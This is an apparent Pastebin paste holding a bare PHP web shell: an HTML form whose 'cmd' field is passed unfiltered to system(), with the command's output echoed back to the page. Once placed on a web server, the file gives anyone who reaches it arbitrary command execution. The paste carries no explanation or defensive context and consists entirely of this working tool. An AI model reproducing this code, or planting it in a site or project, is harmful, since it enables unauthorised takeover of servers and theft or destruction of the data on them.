SHARE
TWEET

Untitled

a guest Sep 22nd, 2019 68 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html>
  2. <body>
  3. <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
  4. <input type="TEXT" name="cmd" id="cmd" size="80">
  5. <input type="SUBMIT" value="Execute">
  6. </form>
  7. <pre>
  8. <?php
  9.     if(isset($_GET['cmd']))
  10.     {
  11.         system($_GET['cmd']);
  12.     }
  13. ?>
  14. </pre>
  15. </body>
  16. <script>document.getElementById("cmd").focus();</script>
  17. </html>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top